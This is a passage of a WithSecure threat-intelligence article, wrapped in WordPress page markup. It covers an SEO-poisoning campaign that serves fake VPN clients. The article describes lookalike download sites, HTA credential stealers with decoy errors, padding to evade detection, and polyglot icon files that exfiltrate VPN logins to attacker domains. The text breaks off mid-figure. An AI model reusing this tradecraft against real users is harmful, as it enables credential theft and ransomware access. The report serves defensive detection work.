href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":37,"featured_media":0,"template":"","categories":[240,272,473,140,139,269],"labs_content_type":[296],"class_list":["post-14333","lab_item","type-lab_item","status-publish","hentry","category-attack-detection","category-dfir","category-incident-response","category-malware","category-research","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder.jpg 618w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-300x214.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-447x318.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/placeholder-205x146.jpg 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/14333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/37"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=14333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=14333"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=14333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":13387,"date":"2026-08-27T08:55:00","date_gmt":"2026-08-27T05:55:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=13387"},"modified":"2026-09-08T10:02:57","modified_gmt":"2026-09-08T07:02:57","slug":"initial-access-via-seo-poisoning","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/","title":{"rendered":"Stolen creds and stinging loaders: An initial access campaign via SEO poisoning"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Stolen creds and stinging loaders: <span class=\"blue-text\">An initial access campaign via SEO poisoning <\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Endpoint Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Malware                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Ransomware                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Aug 27, 2026                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/&#038;title=Stolen%20creds%20and%20stinging%20loaders:%20An%20initial%20access%20campaign%20via%20SEO%20poisoning\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Stolen creds and stinging loaders: An initial access campaign via SEO poisoning&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_5004e1dfe5ebe47e566b7264788dda04\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <img loading=\"lazy\" decoding=\"async\" width=\"1080\" height=\"1080\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp\" class=\"wp-component-author-card__photo\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2.jpg.webp 1080w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-300x300.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-1024x1024.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-150x150.jpg.webp 150w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-768x768.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-447x447.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-700x700.jpg.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/Mohammad-Kazem-Hassan-Nejad_WithSecure_2-146x146.jpg.webp 146w\" sizes=\"auto, (max-width: 1080px) 100vw, 1080px\" \/>            <\/div>\n    <div class=\"wp-component-author-card__content\">\n                    <h3 class=\"wp-component-author-card__name\">Mohammad Kazem Hassan Nejad<\/h3>\n        \n                    <p class=\"wp-component-author-card__meta\">\n                Senior Threat Intelligence Researcher, WithSecure            <\/p>\n                \n            <\/div>\n\n<\/div>\n\n                                    <\/div>\n\n            <\/div>\n<nav\n    class=\"wp-component-content-navigation wp-block-two-column-block__content-nav js-content-navigation\"\n    data-bem-base=\"wp-component-content-navigation\"\n    data-nav-column=\"left\"\n    data-nav-type=\"auto\"\n>\n            <p class=\"wp-component-content-navigation__title\">\n            Content        <\/p>\n    \n    <div class=\"wp-component-content-navigation__mobile\">\n        <label class=\"wp-component-content-navigation__mobile-label\">\n            <span class=\"wp-component-content-navigation__mobile-label-text\">\n                Content navigation            <\/span>\n            <select class=\"wp-component-content-navigation__select js-content-navigation-select\">\n                <option value=\"\">\n                    Select a section                <\/option>\n                            <\/select>\n        <\/label>\n    <\/div>\n\n    <div class=\"wp-component-content-navigation__desktop\">\n        <div class=\"wp-component-content-navigation__list-wrapper\">\n            <span\n                class=\"wp-component-content-navigation__indicator js-content-navigation-indicator\"\n                aria-hidden=\"true\"\n            ><\/span>\n            <ul class=\"wp-component-content-navigation__list js-content-navigation-list\">\n                            <\/ul>\n        <\/div>\n    <\/div>\n<\/nav>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__hide-mobile wp-block-two-column-block__share wp-block-two-column-block__hide-mobile\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/&#038;title=Stolen%20creds%20and%20stinging%20loaders:%20An%20initial%20access%20campaign%20via%20SEO%20poisoning\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Stolen creds and stinging loaders: An initial access campaign via SEO poisoning&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Summary<\/h2>\n<p>WithSecure is tracking an ongoing campaign that leverages SEO poisoning with the goal of gaining initial access into victim environments. This is achieved either by phishing for corporate VPN and remote desktop credentials or by delivering initial access malware such as the Bumblebee loader. The threat actor registers domains impersonating the targeted software and applies blackhat SEO techniques to boost their visibility across search results.<\/p>\n<p>We assess that the threat actor likely operates as an Initial Access Broker (IAB) in the Ransomware-as-a-Service (RaaS) ecosystem, hence successful phishing or compromise can lead to extortion via data theft and\/or data encryption.<\/p>\n<p>WithSecure was able to trace back this campaign to earlier activity running since at least May 2025. The threat actor has previously leveraged Bumblebee loader as initial access malware and trojanized VPN software to harvest VPN credentials. Several prior reports have covered aspects of this campaign; however WithSecure discovered new and additional key findings, including:<\/p>\n<ol>\n<li>Resurgence of Bumblebee loader as initial access malware by the threat actor.<\/li>\n<li>Changes to the primary payload used by the threat actor to steal VPN credentials.<\/li>\n<li>Additional web-based phishing methods to steal VPN and remote desktop credentials.<\/li>\n<li>Insights into the blackhat SEO techniques leveraged by the threat actor.<\/li>\n<li>Indicators suggesting development by a Russian-speaking threat actor.<\/li>\n<\/ol>\n<h2>Introduction<\/h2>\n<p>In Q2 2026, WithSecure investigated several customer incidents involving the execution of a malicious HTML application (.hta) that masqueraded as a WatchGuard SSL VPN client but functioned as a VPN credential stealer.<\/p>\n<p>Upon further investigation, we discovered these HTA files were being distributed to victims via SEO poisoning. The threat actor had registered domains impersonating WatchGuard VPN software and applied black hat SEO techniques to surface them prominently across search results.<\/p>\n<p>These incidents led WithSecure to investigate the wider activity cluster and unravel a larger campaign that traces back to at least May 2025. Several prior reports have covered aspects of this activity; however, we found that:<\/p>\n<ol>\n<li>These incidents involved a new infection chain<\/li>\n<li>The breadth of targeted applications reaches well beyond VPN clients into remote desktop and enterprise software<\/li>\n<li>The threat actor also operates an additional attack chain which phishes credentials directly through web-based forms rather than file-based malware. A method that had not been detailed in available reporting.<\/li>\n<\/ol>\n<h2>Phishing for VPN credentials \u2013 Fake VPN clients<\/h2>\n<p>One of the primary objectives of the threat actor is to harvest VPN credentials that can serve as an initial access vector (IAV) into a victim\u2019s network perimeter. To this end, the threat actor has impersonated a wide array of VPN software developed by most major and niche vendors, including:<\/p>\n<ol>\n<li>WatchGuard Mobile VPN \/ Firebox SSL<\/li>\n<li>Fortinet\u2019s FortiClient<\/li>\n<li>Sophos Connect<\/li>\n<li>Check Point VPN<\/li>\n<li>Palo Alto GlobalProtect<\/li>\n<li>SonicWall NetExtender<\/li>\n<li>BIG-IP Edge Client<\/li>\n<li>NetScaler\/Citrix Gateway<\/li>\n<\/ol>\n<p>The attack chain begins when a user searching to download a VPN client clicks on one of the campaign\u2019s sites in the search engine results page (SERP) that closely mimics the vendor\u2019s legitimate download site. An example is shown in figure 1.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1432\" height=\"647\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1.png.webp 1432w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1-300x136.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1-1024x463.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1-768x347.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1-447x202.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_1-323x146.png.webp 323w\" sizes=\"auto, (max-width: 1432px) 100vw, 1432px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 1. Example of user searching to download SonicWall&#8217;s NetExtender                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>Once the victim clicks to download the software on the lookalike site, they are served a malicious payload that is either hosted on legitimate third-party services, such as Dropbox or GitHub, or an attacker-controlled domain. In some instances, the threat actor uses a redirection chain to mask the main download link behind another attacker-controlled domain. The delivered payload is often bundled as an archive file (.ZIP). An example is shown in figure 2.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1727\" height=\"971\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2.png.webp 1727w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-300x169.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-1024x576.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-768x432.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-1536x864.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-447x251.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-700x394.png.webp 700w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_2-260x146.png.webp 260w\" sizes=\"auto, (max-width: 1727px) 100vw, 1727px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 2. Example of fake Sophos Connect site with malicious Dropbox download link (ZIP file)                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>The delivered payload has varied over time. Between May 2025 and early 2026, WithSecure mainly observed trojanized MSI installers and custom PE-based payloads that led to VPN credential theft, some of which have been documented <a href=\"https:\/\/www.sonicwall.com\/blog\/threat-actors-modify-and-re-create-commercial-software-to-steal-users-information\" target=\"_blank\" rel=\"noopener\">in<\/a> <a href=\"https:\/\/www.zscaler.com\/blogs\/security-research\/spoofed-ivanti-vpn-client-sites\" target=\"_blank\" rel=\"noopener\">the<\/a> <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2026\/03\/12\/storm-2561-uses-seo-poisoning-to-distribute-fake-vpn-clients-for-credential-theft\/\" target=\"_blank\" rel=\"noopener\">past<\/a>.<\/p>\n<p>Since February 2026, WithSecure observed the threat actor shift away from their traditional PE-based payloads and start delivering custom HTML application (.hta) files that masqueraded as the respective VPN client.<\/p>\n<p>Once executed, the HTA file would load a highly convincing logon portal on the victim\u2019s machine that masquerades as the respective VPN client. Any VPN credentials and configuration data that are entered into the logon portal are then exfiltrated to an attacker-controlled domain. An example is shown in figure 3.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"2126\" height=\"680\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3.png.webp 2126w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-300x96.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-1024x328.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-768x246.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-1536x491.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-2048x655.png.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-447x143.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_3-456x146.png.webp 456w\" sizes=\"auto, (max-width: 2126px) 100vw, 2126px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 3. Example of HTA payload with credential theft capabilities &#8211; fake Sophos Connect logon portal                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>To deceive the victim, a fake error message is displayed afterwards as decoy. An example is shown in figure 4.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"880\" height=\"702\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_4.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_4.png.webp 880w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_4-300x239.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_4-768x613.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_4-447x357.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_4-183x146.png.webp 183w\" sizes=\"auto, (max-width: 880px) 100vw, 880px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 4. Example of an error message shown as decoy                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>The payload dynamically fetches and renders the user interface (UI) of the fake VPN client by making an HTTP GET request to an attacker-controlled domain with a custom header \u201cX-From-HTA\u201d set as \u201cyes-hta-2025\u201d. An example code snippet is shown in figure 5.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"861\" height=\"810\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_5-1.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_5-1.png.webp 861w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_5-1-300x282.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_5-1-768x723.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_5-1-447x421.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_5-1-155x146.png.webp 155w\" sizes=\"auto, (max-width: 861px) 100vw, 861px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 5. Example code snippet to dynamically fetch and render fake VPN UI                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>The threat actor inserted dummy functions into the payload files to inflate their size, likely as a detection-evasion technique. An example is shown in figure 6.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1650\" height=\"262\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6.png.webp 1650w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6-300x48.png.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6-1024x163.png.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6-768x122.png.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6-1536x244.png.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6-447x71.png.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_6-919x146.png.webp 919w\" sizes=\"auto, (max-width: 1650px) 100vw, 1650px\" \/>                                                                <figcaption class=\"wp-component-image__caption\n                            wp-component-image__caption--desktop\n                            wp-component-image__caption--mobile\"\n                        >\n                            Figure 6. Dummy code inserted into HTA files                        <\/figcaption>\n                                <\/figure>\n                    <\/div>\n<div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <p>Moreover, the threat actor leveraged an obscure <a href=\"https:\/\/www.john-am.com\/2010\/07\/building-a-self-contained-hta-with-embedded-images-and-icons\/\" target=\"_blank\" rel=\"noopener\">technique<\/a> to display the appropriate VPN application icon for each payload. Icon data was prepended to each HTA file and the HTA <a href=\"https:\/\/learn.microsoft.com\/lb-lu\/previous-versions\/ms536482(v=vs.85)\" target=\"_blank\" rel=\"noopener\">icon property<\/a> was set to &#8220;#&#8221;, causing mshta.exe to use the embedded icon when displaying the HTML application. Therefore, the resulting payloads are considered as <a href=\"https:\/\/en.wikipedia.org\/wiki\/Polyglot_(computing)\" target=\"_blank\" rel=\"noopener\">polygot<\/a> files, making them valid as both ICO and HTA file formats. An example is shown in figure 7.<\/p>\n<\/div>\n        <div class=\"wp-component-image__wrapper wp-block-two-column-block__image \">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1781\" height=\"875\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/08\/figure_7.png.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-full wp-component-image--fit-cover\" alt=\"\" 